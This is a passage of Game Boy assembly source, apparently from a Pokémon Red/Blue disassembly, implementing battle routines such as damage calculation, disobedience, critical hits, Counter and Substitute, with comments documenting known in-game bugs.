PrintMonName1Text: ld hl, MonName1Text jp PrintText ; this function wastes time calling DetermineExclamationPointTextNum ; and choosing between Used1Text and Used2Text, even though ; those text strings are identical and both continue at PrintInsteadText ; this likely had to do with Japanese grammar that got translated, ; but the functionality didn't get removed MonName1Text: TX_FAR _MonName1Text TX_ASM ld a, [H_WHOSETURN] and a ld a, [wPlayerMoveNum] ld hl, wPlayerUsedMove jr z, .playerTurn ld a, [wEnemyMoveNum] ld hl, wEnemyUsedMove .playerTurn ld [hl], a ld [wd11e], a call DetermineExclamationPointTextNum ld a, [wMonIsDisobedient] and a ld hl, Used2Text ret nz ld a, [wd11e] cp 3 ld hl, Used2Text ret c ld hl, Used1Text ret Used1Text: TX_FAR _Used1Text TX_ASM jr PrintInsteadText Used2Text: TX_FAR _Used2Text TX_ASM ; fall through PrintInsteadText: ld a, [wMonIsDisobedient] and a jr z, PrintMoveName ld hl, InsteadText ret InsteadText: TX_FAR _InsteadText TX_ASM ; fall through PrintMoveName: ld hl, _PrintMoveName ret _PrintMoveName: TX_FAR _CF4BText TX_ASM ld hl, ExclamationPointPointerTable ld a, [wd11e] ; exclamation point num add a push bc ld b, $0 ld c, a add hl, bc pop bc ld a, [hli] ld h, [hl] ld l, a ret ExclamationPointPointerTable: dw ExclamationPoint1Text dw ExclamationPoint2Text dw ExclamationPoint3Text dw ExclamationPoint4Text dw ExclamationPoint5Text ExclamationPoint1Text: TX_FAR _ExclamationPoint1Text db "@" ExclamationPoint2Text: TX_FAR _ExclamationPoint2Text db "@" ExclamationPoint3Text: TX_FAR _ExclamationPoint3Text db "@" ExclamationPoint4Text: TX_FAR _ExclamationPoint4Text db "@" ExclamationPoint5Text: TX_FAR _ExclamationPoint5Text db "@" ; this function does nothing useful ; if the move being used is in set [1-4] from ExclamationPointMoveSets, ; use ExclamationPoint[1-4]Text ; otherwise, use ExclamationPoint5Text ; but all five text strings are identical ; this likely had to do with Japanese grammar that got translated, ; but the functionality didn't get removed DetermineExclamationPointTextNum: push bc ld a, [wd11e] ; move ID ld c, a ld b, $0 ld hl, ExclamationPointMoveSets .loop ld a, [hli] cp $ff jr z, .done cp c jr z, .done and a jr nz, .loop inc b jr .loop .done ld a, b ld [wd11e], a ; exclamation point num pop bc ret ExclamationPointMoveSets: db SWORDS_DANCE, GROWTH db $00 db RECOVER, BIDE, SELFDESTRUCT, AMNESIA db $00 db MEDITATE, AGILITY, TELEPORT, MIMIC, DOUBLE_TEAM, BARRAGE db $00 db POUND, SCRATCH, VICEGRIP, WING_ATTACK, FLY, BIND, SLAM, HORN_ATTACK, BODY_SLAM db WRAP, THRASH, TAIL_WHIP, LEER, BITE, GROWL, ROAR, SING, PECK, COUNTER db STRENGTH, ABSORB, STRING_SHOT, EARTHQUAKE, FISSURE, DIG, TOXIC, SCREECH, HARDEN db MINIMIZE, WITHDRAW, DEFENSE_CURL, METRONOME, LICK, CLAMP, CONSTRICT, POISON_GAS db LEECH_LIFE, BUBBLE, FLASH, SPLASH, ACID_ARMOR, FURY_SWIPES, REST, SHARPEN, SLASH, SUBSTITUTE db $00 db $FF ; terminator PrintMoveFailureText: ld de, wPlayerMoveEffect ld a, [H_WHOSETURN] and a jr z, .playersTurn ld de, wEnemyMoveEffect .playersTurn ld hl, DoesntAffectMonText ld a, [wDamageMultipliers] and $7f jr z, .gotTextToPrint ld hl, AttackMissedText ld a, [wCriticalHitOrOHKO] cp $ff jr nz, .gotTextToPrint ld hl, UnaffectedText .gotTextToPrint push de call PrintText xor a ld [wCriticalHitOrOHKO], a pop de ld a, [de] cp JUMP_KICK_EFFECT ret nz ; if you get here, the mon used jump kick or hi jump kick and missed ld hl, wDamage ; since the move missed, wDamage will always contain 0 at this point. ; Thus, recoil damage will always be equal to 1 ; even if it was intended to be potential damage/8. ld a, [hli] ld b, [hl] srl a rr b srl a rr b srl a rr b ld [hl], b dec hl ld [hli], a or b jr nz, .applyRecoil inc a ld [hl], a .applyRecoil ld hl, KeptGoingAndCrashedText call PrintText ld b, $4 predef PredefShakeScreenHorizontally ld a, [H_WHOSETURN] and a jr nz, .enemyTurn jp ApplyDamageToPlayerPokemon .enemyTurn jp ApplyDamageToEnemyPokemon AttackMissedText: TX_FAR _AttackMissedText db "@" KeptGoingAndCrashedText: TX_FAR _KeptGoingAndCrashedText db "@" UnaffectedText: TX_FAR _UnaffectedText db "@" PrintDoesntAffectText: ld hl, DoesntAffectMonText jp PrintText DoesntAffectMonText: TX_FAR _DoesntAffectMonText db "@" ; if there was a critical hit or an OHKO was successful, print the corresponding text PrintCriticalOHKOText: ld a, [wCriticalHitOrOHKO] and a jr z, .done ; do nothing if there was no critical hit or successful OHKO dec a add a ld hl, CriticalOHKOTextPointers ld b, $0 ld c, a add hl, bc ld a, [hli] ld h, [hl] ld l, a call PrintText xor a ld [wCriticalHitOrOHKO], a .done ld c, 20 jp DelayFrames CriticalOHKOTextPointers: dw CriticalHitText dw OHKOText CriticalHitText: TX_FAR _CriticalHitText db "@" OHKOText: TX_FAR _OHKOText db "@" ; checks if a traded mon will disobey due to lack of badges ; stores whether the mon will use a move in Z flag CheckForDisobedience: xor a ld [wMonIsDisobedient], a ld a, [wLinkState] cp LINK_STATE_BATTLING jr nz, .checkIfMonIsTraded ld a, $1 and a ret ; compare the mon's original trainer ID with the player's ID to see if it was traded .checkIfMonIsTraded ld hl, wPartyMon1OTID ld bc, wPartyMon2 - wPartyMon1 ld a, [wPlayerMonNumber] call AddNTimes ld a, [wPlayerID] cp [hl] jr nz, .monIsTraded inc hl ld a, [wPlayerID + 1] cp [hl] jp z, .canUseMove ; it was traded .monIsTraded ; what level might disobey? ld hl, wObtainedBadges bit 7, [hl] ld a, 101 jr nz, .next bit 5, [hl] ld a, 70 jr nz, .next bit 3, [hl] ld a, 50 jr nz, .next bit 1, [hl] ld a, 30 jr nz, .next ld a, 10 .next ld b, a ld c, a ld a, [wBattleMonLevel] ld d, a add b ld b, a jr nc, .noCarry ld b, $ff ; cap b at $ff .noCarry ld a, c cp d jp nc, .canUseMove .loop1 call BattleRandom swap a cp b jr nc, .loop1 cp c jp c, .canUseMove .loop2 call BattleRandom cp b jr nc, .loop2 cp c jr c, .useRandomMove ld a, d sub c ld b, a call BattleRandom swap a sub b jr c, .monNaps cp b jr nc, .monDoesNothing ld hl, WontObeyText call PrintText call HandleSelfConfusionDamage jp .cannotUseMove .monNaps call BattleRandom add a swap a and SLP ; sleep mask jr z, .monNaps ; keep trying until we get at least 1 turn of sleep ld [wBattleMonStatus], a ld hl, BeganToNapText jr .printText .monDoesNothing call BattleRandom and $3 ld hl, LoafingAroundText and a jr z, .printText ld hl, WontObeyText dec a jr z, .printText ld hl, TurnedAwayText dec a jr z, .printText ld hl, IgnoredOrdersText .printText call PrintText jr .cannotUseMove .useRandomMove ld a, [wBattleMonMoves + 1] and a ; is the second move slot empty? jr z, .monDoesNothing ; mon will not use move if it only knows one move ld a, [wPlayerDisabledMoveNumber] and a jr nz, .monDoesNothing ld a, [wPlayerSelectedMove] cp STRUGGLE jr z, .monDoesNothing ; mon will not use move if struggling ; check if only one move has remaining PP ld hl, wBattleMonPP push hl ld a, [hli] and $3f ld b, a ld a, [hli] and $3f add b ld b, a ld a, [hli] and $3f add b ld b, a ld a, [hl] and $3f add b pop hl push af ld a, [wCurrentMenuItem] ld c, a ld b, $0 add hl, bc ld a, [hl] and $3f ld b, a pop af cp b jr z, .monDoesNothing ; mon will not use move if only one move has remaining PP ld a, $1 ld [wMonIsDisobedient], a ld a, [wMaxMenuItem] ld b, a ld a, [wCurrentMenuItem] ld c, a .chooseMove call BattleRandom and $3 cp b jr nc, .chooseMove ; if the random number is greater than the move count, choose another cp c jr z, .chooseMove ; if the random number matches the move the player selected, choose another ld [wCurrentMenuItem], a ld hl, wBattleMonPP ld e, a ld d, $0 add hl, de ld a, [hl] and a ; does the move have any PP left? jr z, .chooseMove ; if the move has no PP left, choose another ld a, [wCurrentMenuItem] ld c, a ld b, $0 ld hl, wBattleMonMoves add hl, bc ld a, [hl] ld [wPlayerSelectedMove], a call GetCurrentMove .canUseMove ld a, $1 and a; clear Z flag ret .cannotUseMove xor a ; set Z flag ret LoafingAroundText: TX_FAR _LoafingAroundText db "@" BeganToNapText: TX_FAR _BeganToNapText db "@" WontObeyText: TX_FAR _WontObeyText db "@" TurnedAwayText: TX_FAR _TurnedAwayText db "@" IgnoredOrdersText: TX_FAR _IgnoredOrdersText db "@" ; sets b, c, d, and e for the CalculateDamage routine in the case of an attack by the player mon GetDamageVarsForPlayerAttack: xor a ld hl, wDamage ; damage to eventually inflict, initialise to zero ldi [hl], a ld [hl], a ld hl, wPlayerMovePower ld a, [hli] and a ld d, a ; d = move power ret z ; return if move power is zero ld a, [hl] ; a = [wPlayerMoveType] cp FIRE ; types >= FIRE are all special jr nc, .specialAttack .physicalAttack ld hl, wEnemyMonDefense ld a, [hli] ld b, a ld c, [hl] ; bc = enemy defense ld a, [wEnemyBattleStatus3] bit HAS_REFLECT_UP, a ; check for Reflect jr z, .physicalAttackCritCheck ; if the enemy has used Reflect, double the enemy's defense sla c rl b .physicalAttackCritCheck ld hl, wBattleMonAttack ld a, [wCriticalHitOrOHKO] and a ; check for critical hit jr z, .scaleStats ; in the case of a critical hit, reset the player's attack and the enemy's defense to their base values ld c, 3 ; defense stat call GetEnemyMonStat ld a, [H_PRODUCT + 2] ld b, a ld a, [H_PRODUCT + 3] ld c, a push bc ld hl, wPartyMon1Attack ld a, [wPlayerMonNumber] ld bc, wPartyMon2 - wPartyMon1 call AddNTimes pop bc jr .scaleStats .specialAttack ld hl, wEnemyMonSpecial ld a, [hli] ld b, a ld c, [hl] ; bc = enemy special ld a, [wEnemyBattleStatus3] bit HAS_LIGHT_SCREEN_UP, a ; check for Light Screen jr z, .specialAttackCritCheck ; if the enemy has used Light Screen, double the enemy's special sla c rl b ; reflect and light screen boosts do not cap the stat at 999, so weird things will happen during stats scaling if ; a Pokemon with 512 or more Defense has used Reflect, or if a Pokemon with 512 or more Special has used Light Screen .specialAttackCritCheck ld hl, wBattleMonSpecial ld a, [wCriticalHitOrOHKO] and a ; check for critical hit jr z, .scaleStats ; in the case of a critical hit, reset the player's and enemy's specials to their base values ld c, 5 ; special stat call GetEnemyMonStat ld a, [H_PRODUCT + 2] ld b, a ld a, [H_PRODUCT + 3] ld c, a push bc ld hl, wPartyMon1Special ld a, [wPlayerMonNumber] ld bc, wPartyMon2 - wPartyMon1 call AddNTimes pop bc ; if either the offensive or defensive stat is too large to store in a byte, scale both stats by dividing them by 4 ; this allows values with up to 10 bits (values up to 1023) to be handled ; anything larger will wrap around .scaleStats ld a, [hli] ld l, [hl] ld h, a ; hl = player's offensive stat or b ; is either high byte nonzero? jr z, .next ; if not, we don't need to scale ; bc /= 4 (scale enemy's defensive stat) srl b rr c srl b rr c ; defensive stat can actually end up as 0, leading to a division by 0 freeze during damage calculation ; hl /= 4 (scale player's offensive stat) srl h rr l srl h rr l ld a, l or h ; is the player's offensive stat 0? jr nz, .next inc l ; if the player's offensive stat is 0, bump it up to 1 .next ld b, l ; b = player's offensive stat (possibly scaled) ; (c already contains enemy's defensive stat (possibly scaled)) ld a, [wBattleMonLevel] ld e, a ; e = level ld a, [wCriticalHitOrOHKO] and a ; check for critical hit jr z, .done sla e ; double level if it was a critical hit .done ld a, 1 and a ret ; sets b, c, d, and e for the CalculateDamage routine in the case of an attack by the enemy mon GetDamageVarsForEnemyAttack: ld hl, wDamage ; damage to eventually inflict, initialise to zero xor a ld [hli], a ld [hl], a ld hl, wEnemyMovePower ld a, [hli] ld d, a ; d = move power and a ret z ; return if move power is zero ld a, [hl] ; a = [wEnemyMoveType] cp FIRE ; types >= FIRE are all special jr nc, .specialAttack .physicalAttack ld hl, wBattleMonDefense ld a, [hli] ld b, a ld c, [hl] ; bc = player defense ld a, [wPlayerBattleStatus3] bit HAS_REFLECT_UP, a ; check for Reflect jr z, .physicalAttackCritCheck ; if the player has used Reflect, double the player's defense sla c rl b .physicalAttackCritCheck ld hl, wEnemyMonAttack ld a, [wCriticalHitOrOHKO] and a ; check for critical hit jr z, .scaleStats ; in the case of a critical hit, reset the player's defense and the enemy's attack to their base values ld hl, wPartyMon1Defense ld a, [wPlayerMonNumber] ld bc, wPartyMon2 - wPartyMon1 call AddNTimes ld a, [hli] ld b, a ld c, [hl] push bc ld c, 2 ; attack stat call GetEnemyMonStat ld hl, H_PRODUCT + 2 pop bc jr .scaleStats .specialAttack ld hl, wBattleMonSpecial ld a, [hli] ld b, a ld c, [hl] ld a, [wPlayerBattleStatus3] bit HAS_LIGHT_SCREEN_UP, a ; check for Light Screen jr z, .specialAttackCritCheck ; if the player has used Light Screen, double the player's special sla c rl b ; reflect and light screen boosts do not cap the stat at 999, so weird things will happen during stats scaling if ; a Pokemon with 512 or more Defense has used Reflect, or if a Pokemon with 512 or more Special has used Light Screen .specialAttackCritCheck ld hl, wEnemyMonSpecial ld a, [wCriticalHitOrOHKO] and a ; check for critical hit jr z, .scaleStats ; in the case of a critical hit, reset the player's and enemy's specials to their base values ld hl, wPartyMon1Special ld a, [wPlayerMonNumber] ld bc, wPartyMon2 - wPartyMon1 call AddNTimes ld a, [hli] ld b, a ld c, [hl] push bc ld c, 5 ; special stat call GetEnemyMonStat ld hl, H_PRODUCT + 2 pop bc ; if either the offensive or defensive stat is too large to store in a byte, scale both stats by dividing them by 4 ; this allows values with up to 10 bits (values up to 1023) to be handled ; anything larger will wrap around .scaleStats ld a, [hli] ld l, [hl] ld h, a ; hl = enemy's offensive stat or b ; is either high byte nonzero? jr z, .next ; if not, we don't need to scale ; bc /= 4 (scale player's defensive stat) srl b rr c srl b rr c ; defensive stat can actually end up as 0, leading to a division by 0 freeze during damage calculation ; hl /= 4 (scale enemy's offensive stat) srl h rr l srl h rr l ld a, l or h ; is the enemy's offensive stat 0? jr nz, .next inc l ; if the enemy's offensive stat is 0, bump it up to 1 .next ld b, l ; b = enemy's offensive stat (possibly scaled) ; (c already contains player's defensive stat (possibly scaled)) ld a, [wEnemyMonLevel] ld e, a ld a, [wCriticalHitOrOHKO] and a ; check for critical hit jr z, .done sla e ; double level if it was a critical hit .done ld a, $1 and a and a ret ; get stat c of enemy mon ; c: stat to get (HP=1,Attack=2,Defense=3,Speed=4,Special=5) GetEnemyMonStat: push de push bc ld a, [wLinkState] cp LINK_STATE_BATTLING jr nz, .notLinkBattle ld hl, wEnemyMon1Stats dec c sla c ld b, $0 add hl, bc ld a, [wEnemyMonPartyPos] ld bc, wEnemyMon2 - wEnemyMon1 call AddNTimes ld a, [hli] ld [H_MULTIPLICAND + 1], a ld a, [hl] ld [H_MULTIPLICAND + 2], a pop bc pop de ret .notLinkBattle ld a, [wEnemyMonLevel] ld [wCurEnemyLVL], a ld a, [wEnemyMonSpecies] ld [wd0b5], a call GetMonHeader ld hl, wEnemyMonDVs ld de, wLoadedMonSpeedExp ld a, [hli] ld [de], a inc de ld a, [hl] ld [de], a pop bc ld b, $0 ld hl, wLoadedMonSpeedExp - $b ; this base address makes CalcStat look in [wLoadedMonSpeedExp] for DVs call CalcStat pop de ret CalculateDamage: ; input: ; b: attack ; c: opponent defense ; d: base power ; e: level ld a, [H_WHOSETURN] ; whose turn? and a ld a, [wPlayerMoveEffect] jr z, .effect ld a, [wEnemyMoveEffect] .effect ; EXPLODE_EFFECT halves defense. cp EXPLODE_EFFECT jr nz, .ok srl c jr nz, .ok inc c ; ...with a minimum value of 1 (used as a divisor later on) .ok ; Multi-hit attacks may or may not have 0 bp. cp TWO_TO_FIVE_ATTACKS_EFFECT jr z, .skipbp cp $1e jr z, .skipbp ; Calculate OHKO damage based on remaining HP. cp OHKO_EFFECT jp z, JumpToOHKOMoveEffect ; Don't calculate damage for moves that don't do any. ld a, d ; base power and a ret z .skipbp xor a ld hl, H_DIVIDEND ldi [hl], a ldi [hl], a ld [hl], a ; Multiply level by 2 ld a, e ; level add a jr nc, .nc push af ld a, 1 ld [hl], a pop af .nc inc hl ldi [hl], a ; Divide by 5 ld a, 5 ldd [hl], a push bc ld b, 4 call Divide pop bc ; Add 2 inc [hl] inc [hl] inc hl ; multiplier ; Multiply by attack base power ld [hl], d call Multiply ; Multiply by attack stat ld [hl], b call Multiply ; Divide by defender's defense stat ld [hl], c ld b, 4 call Divide ; Divide by 50 ld [hl], 50 ld b, 4 call Divide ld hl, wDamage ld b, [hl] ld a, [H_QUOTIENT + 3] add b ld [H_QUOTIENT + 3], a jr nc, .asm_3dfd0 ld a, [H_QUOTIENT + 2] inc a ld [H_QUOTIENT + 2], a and a jr z, .asm_3e004 .asm_3dfd0 ld a, [H_QUOTIENT] ld b, a ld a, [H_QUOTIENT + 1] or a jr nz, .asm_3e004 ld a, [H_QUOTIENT + 2] cp 998 / $100 jr c, .asm_3dfe8 cp 998 / $100 + 1 jr nc, .asm_3e004 ld a, [H_QUOTIENT + 3] cp 998 % $100 jr nc, .asm_3e004 .asm_3dfe8 inc hl ld a, [H_QUOTIENT + 3] ld b, [hl] add b ld [hld], a ld a, [H_QUOTIENT + 2] ld b, [hl] adc b ld [hl], a jr c, .asm_3e004 ld a, [hl] cp 998 / $100 jr c, .asm_3e00a cp 998 / $100 + 1 jr nc, .asm_3e004 inc hl ld a, [hld] cp 998 % $100 jr c, .asm_3e00a .asm_3e004 ; cap at 997 ld a, 997 / $100 ld [hli], a ld a, 997 % $100 ld [hld], a .asm_3e00a ; add 2 inc hl ld a, [hl] add 2 ld [hld], a jr nc, .done inc [hl] .done ; minimum damage is 1 ld a, 1 and a ret JumpToOHKOMoveEffect: call JumpMoveEffect ld a, [wMoveMissed] dec a ret UnusedHighCriticalMoves: db KARATE_CHOP db RAZOR_LEAF db CRABHAMMER db SLASH db $FF ; determines if attack is a critical hit ; azure heights claims "the fastest pokΓ©mon (who are,not coincidentally, ; among the most popular) tend to CH about 20 to 25% of the time." CriticalHitTest: xor a ld [wCriticalHitOrOHKO], a ld a, [H_WHOSETURN] and a ld a, [wEnemyMonSpecies] jr nz, .handleEnemy ld a, [wBattleMonSpecies] .handleEnemy ld [wd0b5], a call GetMonHeader ld a, [wMonHBaseSpeed] ld b, a srl b ; (effective (base speed/2)) ld a, [H_WHOSETURN] and a ld hl, wPlayerMovePower ld de, wPlayerBattleStatus2 jr z, .calcCriticalHitProbability ld hl, wEnemyMovePower ld de, wEnemyBattleStatus2 .calcCriticalHitProbability ld a, [hld] ; read base power from RAM and a ret z ; do nothing if zero dec hl ld c, [hl] ; read move id ld a, [de] bit GETTING_PUMPED, a ; test for focus energy jr nz, .focusEnergyUsed ; bug: using focus energy causes a shift to the right instead of left, ; resulting in 1/4 the usual crit chance sla b ; (effective (base speed/2)*2) jr nc, .noFocusEnergyUsed ld b, $ff ; cap at 255/256 jr .noFocusEnergyUsed .focusEnergyUsed srl b .noFocusEnergyUsed ld hl, HighCriticalMoves ; table of high critical hit moves .Loop ld a, [hli] ; read move from move table cp c ; does it match the move about to be used? jr z, .HighCritical ; if so, the move about to be used is a high critical hit ratio move inc a ; move on to the next move, FF terminates loop jr nz, .Loop ; check the next move in HighCriticalMoves srl b ; /2 for regular move (effective (base speed / 2)) jr .SkipHighCritical ; continue as a normal move .HighCritical sla b ; *2 for high critical hit moves jr nc, .noCarry ld b, $ff ; cap at 255/256 .noCarry sla b ; *4 for high critical move (effective (base speed/2)*8)) jr nc, .SkipHighCritical ld b, $ff .SkipHighCritical call BattleRandom ; generates a random value, in "a" rlc a rlc a rlc a cp b ; check a against calculated crit rate ret nc ; no critical hit if no borrow ld a, $1 ld [wCriticalHitOrOHKO], a ; set critical hit flag ret ; high critical hit moves HighCriticalMoves: db KARATE_CHOP db RAZOR_LEAF db CRABHAMMER db SLASH db $FF ; function to determine if Counter hits and if so, how much damage it does HandleCounterMove: ; The variables checked by Counter are updated whenever the cursor points to a new move in the battle selection menu. ; This is irrelevant for the opponent's side outside of link battles, since the move selection is controlled by the AI. ; However, in the scenario where the player switches out and the opponent uses Counter, ; the outcome may be affected by the player's actions in the move selection menu prior to switching the Pokemon. ; This might also lead to desync glitches in link battles. ld a, [H_WHOSETURN] ; whose turn and a ; player's turn ld hl, wEnemySelectedMove ld de, wEnemyMovePower ld a, [wPlayerSelectedMove] jr z, .next ; enemy's turn ld hl, wPlayerSelectedMove ld de, wPlayerMovePower ld a, [wEnemySelectedMove] .next cp COUNTER ret nz ; return if not using Counter ld a, $01 ld [wMoveMissed], a ; initialize the move missed variable to true (it is set to false below if the move hits) ld a, [hl] cp COUNTER ret z ; miss if the opponent's last selected move is Counter. ld a, [de] and a ret z ; miss if the opponent's last selected move's Base Power is 0. ; check if the move the target last selected was Normal or Fighting type inc de ld a, [de] and a ; normal type jr z, .counterableType cp FIGHTING jr z, .counterableType ; if the move wasn't Normal or Fighting type, miss xor a ret .counterableType ld hl, wDamage ld a, [hli] or [hl] ret z ; If we made it here, Counter still misses if the last move used in battle did no damage to its target. ; wDamage is shared by both players, so Counter may strike back damage dealt by the Counter user itself ; if the conditions meet, even though 99% of the times damage will come from the target. ; if it did damage, double it ld a, [hl] add a ldd [hl], a ld a, [hl] adc a ld [hl], a jr nc, .noCarry ; damage is capped at 0xFFFF ld a, $ff ld [hli], a ld [hl], a .noCarry xor a ld [wMoveMissed], a call MoveHitTest ; do the normal move hit test in addition to Counter's special rules xor a ret ApplyAttackToEnemyPokemon: ld a, [wPlayerMoveEffect] cp OHKO_EFFECT jr z, ApplyDamageToEnemyPokemon cp SUPER_FANG_EFFECT jr z, .superFangEffect cp SPECIAL_DAMAGE_EFFECT jr z, .specialDamage ld a, [wPlayerMovePower] and a jp z, ApplyAttackToEnemyPokemonDone ; no attack to apply if base power is 0 jr ApplyDamageToEnemyPokemon .superFangEffect ; set the damage to half the target's HP ld hl, wEnemyMonHP ld de, wDamage ld a, [hli] srl a ld [de], a inc de ld b, a ld a, [hl] rr a ld [de], a or b jr nz, ApplyDamageToEnemyPokemon ; make sure Super Fang's damage is always at least 1 ld a, $01 ld [de], a jr ApplyDamageToEnemyPokemon .specialDamage ld hl, wBattleMonLevel ld a, [hl] ld b, a ; Seismic Toss deals damage equal to the user's level ld a, [wPlayerMoveNum] cp SEISMIC_TOSS jr z, .storeDamage cp NIGHT_SHADE jr z, .storeDamage ld b, SONICBOOM_DAMAGE ; 20 cp SONICBOOM jr z, .storeDamage ld b, DRAGON_RAGE_DAMAGE ; 40 cp DRAGON_RAGE jr z, .storeDamage ; Psywave ld a, [hl] ld b, a srl a add b ld b, a ; b = level * 1.5 ; loop until a random number in the range [1, b) is found .loop call BattleRandom and a jr z, .loop cp b jr nc, .loop ld b, a .storeDamage ; store damage value at b ld hl, wDamage xor a ld [hli], a ld a, b ld [hl], a ApplyDamageToEnemyPokemon: ld hl, wDamage ld a, [hli] ld b, a ld a, [hl] or b jr z, ApplyAttackToEnemyPokemonDone ; we're done if damage is 0 ld a, [wEnemyBattleStatus2] bit HAS_SUBSTITUTE_UP, a ; does the enemy have a substitute? jp nz, AttackSubstitute ; subtract the damage from the pokemon's current HP ; also, save the current HP at wHPBarOldHP ld a, [hld] ld b, a ld a, [wEnemyMonHP + 1] ld [wHPBarOldHP], a sub b ld [wEnemyMonHP + 1], a ld a, [hl] ld b, a ld a, [wEnemyMonHP] ld [wHPBarOldHP+1], a sbc b ld [wEnemyMonHP], a jr nc, .animateHpBar ; if more damage was done than the current HP, zero the HP and set the damage (wDamage) ; equal to how much HP the pokemon had before the attack ld a, [wHPBarOldHP+1] ld [hli], a ld a, [wHPBarOldHP] ld [hl], a xor a ld hl, wEnemyMonHP ld [hli], a ld [hl], a .animateHpBar ld hl, wEnemyMonMaxHP ld a, [hli] ld [wHPBarMaxHP+1], a ld a, [hl] ld [wHPBarMaxHP], a ld hl, wEnemyMonHP ld a, [hli] ld [wHPBarNewHP+1], a ld a, [hl] ld [wHPBarNewHP], a coord hl, 2, 2 xor a ld [wHPBarType], a predef UpdateHPBar2 ; animate the HP bar shortening ApplyAttackToEnemyPokemonDone: jp DrawHUDsAndHPBars ApplyAttackToPlayerPokemon: ld a, [wEnemyMoveEffect] cp OHKO_EFFECT jr z, ApplyDamageToPlayerPokemon cp SUPER_FANG_EFFECT jr z, .superFangEffect cp SPECIAL_DAMAGE_EFFECT jr z, .specialDamage ld a, [wEnemyMovePower] and a jp z, ApplyAttackToPlayerPokemonDone jr ApplyDamageToPlayerPokemon .superFangEffect ; set the damage to half the target's HP ld hl, wBattleMonHP ld de, wDamage ld a, [hli] srl a ld [de], a inc de ld b, a ld a, [hl] rr a ld [de], a or b jr nz, ApplyDamageToPlayerPokemon ; make sure Super Fang's damage is always at least 1 ld a, $01 ld [de], a jr ApplyDamageToPlayerPokemon .specialDamage ld hl, wEnemyMonLevel ld a, [hl] ld b, a ld a, [wEnemyMoveNum] cp SEISMIC_TOSS jr z, .storeDamage cp NIGHT_SHADE jr z, .storeDamage ld b, SONICBOOM_DAMAGE cp SONICBOOM jr z, .storeDamage ld b, DRAGON_RAGE_DAMAGE cp DRAGON_RAGE jr z, .storeDamage ; Psywave ld a, [hl] ld b, a srl a add b ld b, a ; b = attacker's level * 1.5 ; loop until a random number in the range [0, b) is found ; this differs from the range when the player attacks, which is [1, b) ; it's possible for the enemy to do 0 damage with Psywave, but the player always does at least 1 damage .loop call BattleRandom cp b jr nc, .loop ld b, a .storeDamage ld hl, wDamage xor a ld [hli], a ld a, b ld [hl], a ApplyDamageToPlayerPokemon: ld hl, wDamage ld a, [hli] ld b, a ld a, [hl] or b jr z, ApplyAttackToPlayerPokemonDone ; we're done if damage is 0 ld a, [wPlayerBattleStatus2] bit HAS_SUBSTITUTE_UP, a ; does the player have a substitute? jp nz, AttackSubstitute ; subtract the damage from the pokemon's current HP ; also, save the current HP at wHPBarOldHP and the new HP at wHPBarNewHP ld a, [hld] ld b, a ld a, [wBattleMonHP + 1] ld [wHPBarOldHP], a sub b ld [wBattleMonHP + 1], a ld [wHPBarNewHP], a ld b, [hl] ld a, [wBattleMonHP] ld [wHPBarOldHP+1], a sbc b ld [wBattleMonHP], a ld [wHPBarNewHP+1], a jr nc, .animateHpBar ; if more damage was done than the current HP, zero the HP and set the damage (wDamage) ; equal to how much HP the pokemon had before the attack ld a, [wHPBarOldHP+1] ld [hli], a ld a, [wHPBarOldHP] ld [hl], a xor a ld hl, wBattleMonHP ld [hli], a ld [hl], a ld hl, wHPBarNewHP ld [hli], a ld [hl], a .animateHpBar ld hl, wBattleMonMaxHP ld a, [hli] ld [wHPBarMaxHP+1], a ld a, [hl] ld [wHPBarMaxHP], a coord hl, 10, 9 ld a, $01 ld [wHPBarType], a predef UpdateHPBar2 ; animate the HP bar shortening ApplyAttackToPlayerPokemonDone: jp DrawHUDsAndHPBars AttackSubstitute: ; Unlike the two ApplyAttackToPokemon functions, Attack Substitute is shared by player and enemy. ; Self-confusion damage as well as Hi-Jump Kick and Jump Kick recoil cause a momentary turn swap before being applied. ; If the user has a Substitute up and would take damage because of that, ; damage will be applied to the other player's Substitute. ; Normal recoil such as from Double-Edge isn't affected by this glitch, ; because this function is never called in that case. ld hl, SubstituteTookDamageText call PrintText ; values for player turn ld de, wEnemySubstituteHP ld bc, wEnemyBattleStatus2 ld a, [H_WHOSETURN] and a jr z, .applyDamageToSubstitute ; values for enemy turn ld de, wPlayerSubstituteHP ld bc, wPlayerBattleStatus2 .applyDamageToSubstitute ld hl, wDamage ld a, [hli] and a jr nz, .substituteBroke ; damage > 0xFF always breaks substitutes ; subtract damage from HP of substitute ld a, [de] sub [hl] ld [de], a ret nc .substituteBroke ; If the target's Substitute breaks, wDamage isn't updated with the amount of HP ; the Substitute had before being attacked. ld h, b ld l, c res HAS_SUBSTITUTE_UP, [hl] ; unset the substitute bit ld hl, SubstituteBrokeText call PrintText ; flip whose turn it is for the next function call ld a, [H_WHOSETURN] xor $01 ld [H_WHOSETURN], a callab HideSubstituteShowMonAnim ; animate the substitute breaking ; flip the turn back to the way it was ld a, [H_WHOSETURN] xor $01 ld [H_WHOSETURN], a ld hl, wPlayerMoveEffect ; value for player's turn and a jr z, .nullifyEffect ld hl, wEnemyMoveEffect ; value for enemy's turn .nullifyEffect xor a ld [hl], a ; zero the effect of the attacker's move jp DrawHUDsAndHPBars SubstituteTookDamageText: TX_FAR _SubstituteTookDamageText db "@" SubstituteBrokeText: TX_FAR _SubstituteBrokeText db "@" ; this function raises the attack modifier of a pokemon using Rage when that pokemon is attacked HandleBuildingRage: ; values for the player turn ld hl, wEnemyBattleStatus2 ld de, wEnemyMonStatMods ld bc, wEnemyMoveNum ld a, [H_WHOSETURN] and a jr z, .next ; values for the enemy turn ld hl, wPlayerBattleStatus2 ld de, wPlayerMonStatMods ld bc, wPlayerMoveNum .next bit USING_RAGE, [hl] ; is the pokemon being attacked under the effect of Rage? ret z ; return if not ld a, [de] cp $0d ; maximum stat modifier value ret z ; return if attack modifier is already maxed ld a, [H_WHOSETURN] xor $01 ; flip turn for the stat modifier raising function ld [H_WHOSETURN], a ; temporarily change the target pokemon's move to $00 and the effect to the one ; that causes the attack modifier to go up one stage ld h, b ld l, c ld [hl], $00 ; null move number inc hl ld [hl], ATTACK_UP1_EFFECT push hl ld hl, BuildingRageText call PrintText call StatModifierUpEffect ; stat modifier raising function pop hl xor a ldd [hl], a ; null move effect ld a, RAGE ld [hl], a ; restore the target pokemon's move number to Rage ld a, [H_WHOSETURN] xor $01 ; flip turn back to the way it was ld [H_WHOSETURN], a ret BuildingRageText: TX_FAR _BuildingRageText db "@" ; copy last move for Mirror Move ; sets zero flag on failure and unsets zero flag on success MirrorMoveCopyMove: ; Mirror Move makes use of ccf1 (wPlayerUsedMove) and ccf2 (wEnemyUsedMove) addresses, ; which are 